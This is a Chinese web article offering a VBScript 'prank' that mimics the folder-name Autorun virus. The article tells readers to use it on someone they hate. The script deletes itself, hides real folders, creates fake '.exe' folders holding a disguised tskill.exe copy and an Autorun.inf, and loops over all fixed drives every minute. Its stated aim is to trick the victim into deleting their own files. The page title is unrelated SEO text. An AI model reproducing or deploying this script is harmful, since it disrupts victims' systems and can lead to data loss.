病毒_最神秘的六种病毒_人乳病毒

病毒病毒

vbs整人代码，文件夹同名病毒（Autorun病毒）大家都熟悉吧？效果就是那样（不过放心吧，绝不是真的病毒，骗人的），试想，如果有人中招，他会怎么办？杀毒？没用（因为根本不是病毒），情急之下咋办？胡乱删一通，抱歉，他亲手将自己亲爱的文件删了......

废话不多说了，代码如下，大家知道该怎么用：

''''''''''''''''''''代码开始''''''''''''''''''''

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set Cx=fso.GetSpecialFolder(0)

fso.GetFile(WScript.ScriptFullName).Delete(True)

Do

C=fso.GetParentFolderName(Cx)

Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

fso.CreateFolder(C & Fdr.Name & ".exe")

Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")

fun.Attributes=6

fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")

Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes

Fdr.Attributes=6

End If

Next

Set Cx=Nothing

Set Fdrs=Nothing

Set drvs=fso.Drives

For Each drv In drvs

If drv.DriveType=2 Then

If drv & "\" = C Then

Else

Set Fdrs=fso.GetFolder(drv).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

Fdr.Name=Fdr.name & ".exe"

Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")

fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")

Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

End If

Next

End If

End If

Next

WScript.Sleep 60*1000

Loop

''''''''''''''''''''代码结束''''''''''''''''''''

打开记事本，复制，保存缀名为vbs格式

注意：此代码不可乱用，可能会把人弄疯的

除非是你最恨的人

vbs整人代码-我是大笨蛋

vbs整人代码-电脑关不掉与关不完的窗口

vbs整人代码-让对方直接关机

VBS整人代码(爱情测试与电脑关机等)

vbe整人代码大全(强制自动关机、打开无数计算器、

vBS整人代码 好玩的vbs整人代码

vbs整人代码之系统快要崩溃了

VBS经典整人代码一例

vbs整人代码-关不掉的窗口(图文)

vbs整人代码-定时关机

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-23157-1.html